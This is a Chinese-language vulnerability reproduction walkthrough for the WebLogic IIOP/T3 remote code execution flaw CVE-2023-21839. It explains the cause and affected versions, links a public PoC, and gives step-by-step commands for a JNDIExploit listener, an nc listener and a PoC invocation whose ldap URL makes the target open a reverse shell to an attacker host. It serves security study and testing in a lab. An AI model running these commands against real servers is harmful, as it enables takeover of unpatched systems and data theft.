漏洞描述:
WebLogic是美国Oracle公司出品的一个application server,用于本地和云端开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。WebLogic Server是一个基于JAVAEE架构的中间件,将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,提供了Java Enterprise Edition (EE)和Jakarta EE的可靠、成熟和可扩展的实现。
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露
漏洞原理:
通过Weblogic t3/iiop协议支持远程绑定对象到服务端,当远程对象继承自OpaqueReference,lookup查看远程对象时,服务端调用远程对象getReferent方法,其中的remoteJNDIName参数可控,导致攻击者可利用rmi/ldap远程协议进行远程命令执行
CVE-2023-21839 WebLogic Server RCE分析
影响范围:Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
POC
Payload:https://github.com/4ra1n/CVE-2023-21839
(1)无需任何 Java 依赖,构造协议通过socket直接RCE
(2)已解决 IIOP 的 NAT 网络问题(可测试 Docker 与公网目标)
(3)在 Windows/Mac OS/Linux 以及 Weblogic 12/14 中测试通过
(4)请使用 JDK 8u191 以下启动 Weblogic 并自行搭建 JNDI Server
环境搭建
-
Docker环境搭建:链接
搭建完成后访问:http://IP:7001/console
-
虚拟机环境搭建
使用环境为:Windows server2008、jdk1.8u152、weblogic server 12.2.1.3.0
weblogic环境搭建:https://www.cnblogs.com/cao-lei/p/15101976.html
1.开启jndi监听
将JNDI Exploit命令注入工具上传到我们的 VPS 攻击机,开启 jndi 监听
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.186.139
-i local ip
使用 nc 监听任意端口
nc -lvvp 7890
2.编译payload
Payload:https://github.com/4ra1n/CVE-2023-21839
编译payload
# mac/linux
cd cmd
go build -o CVE-2023-21839
# windows
cd cmd
go build -o CVE-2023-21839.exe
从POC代码核心的部分是方法中将通过调用getInitialContext方法创建一个InitialContext对象;使用反射访问和修改ForeignOpaqueReference对象中的私有字段jndiEnvironment和emoteJNDIName,调用InitialContext对象的bind方法,将ForeignOpaqueReference对象绑定到JNDI服务,最后调用InitialContext对象的lookup方法
3.反弹shell
使用命令
./CVE-2023-21839 -ip 192.168.186.138 -port 7001 -ldap ldap://192.168.186.139:1389/Basic/ReverseShell/192.168.186.139/7890
-ip 指向weblogic远程IP
-port 指向7001端口
-ldap 为jndi监听的IP和端口
如果发现 panic 或有其他报错,说明目标不存在漏洞(或关闭了 IIOP 功能)
nc端口接收到反弹的shell